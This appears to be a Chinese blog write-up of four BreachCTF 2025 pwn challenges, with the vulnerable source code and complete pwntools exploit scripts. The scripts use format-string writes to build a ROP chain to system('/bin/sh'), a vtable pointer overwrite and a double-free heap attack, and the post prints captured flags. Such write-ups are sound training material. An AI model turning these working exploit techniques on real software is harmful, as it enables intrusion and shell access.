当前位置: 首页 > news >正文

[BreachCTF 2025]

周末的这个居然一个密码都不会,作了4个pwn,给原码看着真方便

FSWn3d

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

char buffer[152];

void win() {
    int fd = memfd_create("payload", 0);
    if (fd == -1) {
        perror("memfd_create");
        exit(1);
    }
    if (write(fd, buffer, 148) != 148) {
        perror("write");
        exit(1);
    }
    char *const args[] = {NULL};
    char *const envp[] = {NULL};
    fexecve(fd, args, envp);
    perror("fexecve");
    exit(1);
}

void vuln() {
    char first_name[28];
    char last_name[28];

    void **hint =
        (void **)((char *)__builtin_frame_address(0) + sizeof(void *));

    printf("Enter your first name: ");
    fgets(first_name, sizeof(first_name), stdin);
    first_name[strcspn(first_name, "\n")] = '\0';

    printf("You entered ");
    printf(first_name);
    printf("\n");

    printf("Enter your last name: ");
    fgets(last_name, sizeof(last_name), stdin);
    last_name[strcspn(last_name, "\n")] = '\0';

    printf("You entered ");
    printf(last_name);
    printf("\n");
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    vuln();
    return 0;
}

有两次printf漏洞但是没有循环,每次可以用第2个作个循环回来.没有libc需要泄露got表然后到网上查,这里查到是2.39-0u8.4,然后一边造循环一边写ROP

from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./main')
libc = ELF('./libc6_2.39-0ubuntu8.4_amd64.so')

p = remote('challs.breachers.in', 1337)
#p = process('./main')

p.sendlineafter(b': ', b'%18$p %19$p %21$p ')
p.recvuntil(b"You entered ")

stack = int(p.recvuntil(b' '),16) -8
elf.address = int(p.recvuntil(b' '),16)  - 0x14b5
libc.address = int(p.recvuntil(b' '),16) - 0x2a1ca
print(f"{stack = :x} {elf.address = :x} {libc.address = :x}")

#p.sendlineafter(b': ', b"%13$s  \0"+p64(elf.got['setbuf']))
#p.recvuntil(b"You entered ")

call_vuln = elf.address + 0x14ab
p.sendlineafter(b': ', f"%{call_vuln&0xff}c%14$hhn".encode().ljust(16,b'\0')+p64(stack))

pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
pay = flat(pop_rdi, bin_sh, libc.sym['system'])
for i,v in enumerate(pay):
    if v!=0:
        p.sendlineafter(b": ", f"%{v}c%10$hhn".encode().ljust(16, b'\0')+p64(stack+8+i))
    else:
        p.sendlineafter(b": ", f"%10$hhn".encode().ljust(16, b'\0')+p64(stack+i))
    p.sendlineafter(b': ', f"%{call_vuln&0xff}c%14$hhn".encode().ljust(16,b'\0')+p64(stack))

#gdb.attach(p, "b*0x555555555479\nc")
p.sendlineafter(b": ", b'a')
p.sendlineafter(b': ', f"%{0x7a}c%14$hhn".encode().ljust(16,b'\0')+p64(stack))
p.interactive()

Vaultability

C++的程序

#include <iostream>

using namespace std;

class Vault {
    char pin[16];

  public:
    virtual void enterPin() {
        cout << "Enter Vault PIN: ";
        cin >> pin;
    }
    virtual void showSecurityLog() { cout << &pin << endl; }
    virtual void triggerAlarm() { cout << "Security Breach Detected!" << endl; }
};

class BackupVault : public Vault {
    char pin[16];

  public:
    void enterPin() {
        cout << "Enter Backup Vault PIN: ";
        cin >> pin;
    }
};

void secretAccess() { system("cat flag.txt"); }

int menu(Vault *vault, Vault *backup) {
    cout << "1. Enter Vault PIN" << endl;
    cout << "2. View Security Log" << endl;
    cout << "3. Trigger Alarm" << endl;
    cout << "4. Enter Backup Vault PIN" << endl;
    cout << "5. View Backup Vault Log" << endl;
    cout << "6. Trigger Backup Vault Alarm" << endl;
    cout << "7. Exit" << endl;
    cout << "Enter your choice: ";

    int choice;
    cin >> choice;

    switch (choice) {
    case 1:
        vault->enterPin();
        break;
    case 2:
        vault->showSecurityLog();
        break;
    case 3:
        vault->triggerAlarm();
        break;
    case 4:
        backup->enterPin();
        break;
    case 5:
        backup->showSecurityLog();
        break;
    case 6:
        backup->triggerAlarm();
        break;
    case 7:
        return 1;
    default:
        cout << "Invalid choice" << endl;
        break;
    }
    return 0;
}

int main() {
    Vault vault;
    BackupVault backup;

    while (!menu(&vault, &backup))
        ;

    return 0;
}

在不输入直接显示的时候有个栈地址泄露.这个gdb跟进去看都看不着,只能试.

定义了一个Vault类,BackupVault继承并重写了enterBin方法(不重要).在Vault输入bin的位置有溢出,可以覆盖到BackupVault的成员指针,改写成secretAccess即可

from pwn import *
context(arch='amd64', log_level='debug')

#p = process('./main')
#gdb.attach(p, "b*0x401437\nc")
p = remote('challs.breachers.in', 1339)

p.sendlineafter(b": ",b'2')
stack = int(p.recvline(), 16)

p.sendlineafter(b": ",b'1')
p.sendlineafter(b": ", p64(0x4011f6)*3+p64(stack))

p.sendlineafter(b": ", b'4')

p.interactive()
#Breach{v74b13_c4113d_f4k3_func}

MagicVault

代码太长,略

在bss里自己模拟了个堆,并同时在free里会写前后指针, 并限制堆块建的位置最大值. 由于没清指针也没有检查链所以存在double free的情况.利用doublefree将块建在堆尾前边一点,利用固定长度的read溢出覆盖到后边的fp的vault_functions指针

from pwn import *
context(arch='amd64', log_level='debug')

def add():
    p.sendlineafter(b"Your choice: ", b'4')

def free():
    p.sendlineafter(b"Your choice: ", b'3')

def edit(msg):
    p.sendlineafter(b"Your choice: ", b'2')
    p.sendafter(b'Enter new vault note (max 128 bytes): ', msg)

def call():
    p.sendlineafter(b"Your choice: ", b'5')

#p = process('./main')
p = remote('challs.breachers.in', 1341)

for i in range(8):
    add()

free()
free()

edit(p64(0x4056f0))
add()
add()
edit(b'A'*0x10+flat(0x4056f0, 0x405710, 0x401330,0x401330))
call()

p.interactive()
#Breach{m4g1c_u4f_70_v4u17_c0n7r01}

Fraction Fun

import numpy as np


def execute(code, inp):
    values = code.split(" ")
    inp = int(inp)
    a = [int(i.split("/")[0]) for i in values]
    b = [int(i.split("/")[1]) for i in values]
    broken = False
    for _ in range(1000):
        changed = False
        for i in range(len(a)):
            if inp % b[i] == 0:
                inp = inp * a[i] // b[i]
                changed = True
        if not changed:
            broken = True
            break
    if not broken:
        print("Loop did not terminate in 1000 iterations!")
        return inp
    return inp


code = open("code.txt", "r").read()
fin_output = open("output.txt", "r").read()
code = str(code)
fin_output = int(fin_output)
while True:
    try:
        inp = int(input("Input your number: "))
        out = execute(code, inp)
        if out == int(fin_output):
            print("Correct!")
            print("Here is the flag: " + open("flag.txt", "r").read())
            break
        else:
            print("Incorrect!")
    except:
        print("Error!")
        break

需要比对的数字给了,当输入一个数,去掉指定因子后得到比对的数即可,其实这个数就没那些因子,直接输入即可.

相关文章:

  • Oracle AQ
  • python-leetcode 66.寻找旋转排序数组中的最小值
  • 快速记忆法,提高知识点背诵效率
  • MySQL学习笔记十
  • 【LangChain框架组成】 LangChain 技术栈的模块化架构解析
  • 安徽合肥天猫代入驻精细化运营实战
  • 4.8刷题记录(双指针)
  • 15-17手写持久层框架优化
  • 【Linux高级IO(三)】Reactor
  • Java基础编程练习第38题-除法器
  • C++隐式转换的机制、风险与消除方法
  • LLMs之Llama:Llama 4(Llama 4 Maverick Scout)的简介、安装和使用方法、案例应用之详细攻略
  • 基于人工智能的高中教育评价体系重构研究
  • MATLAB2024a超详细图文安装教程(2025最新版保姆级教程)附安装钥
  • 模板方法模式详解
  • Django学习记录-1
  • 利用 schedule 模块在每日上午每 3 秒执行任务
  • 【接口自动化_数据格式与类型】
  • 【C】结构体初始化方法
  • Linux网络多进程并发服务器和多线程并发服务器
  • 做网站 广告费 步骤/江门seo网站推广
  • wordpress防止博客恶意采集/重庆seo整站优化效果
  • 武汉网站成功案例/网站市场推广
  • 旅游景点网站策划书/三亚百度推广公司
  • 网页设计公司兴田德润在哪里/搜索引擎营销seo
  • 直播app开发公司排名/seo是做什么的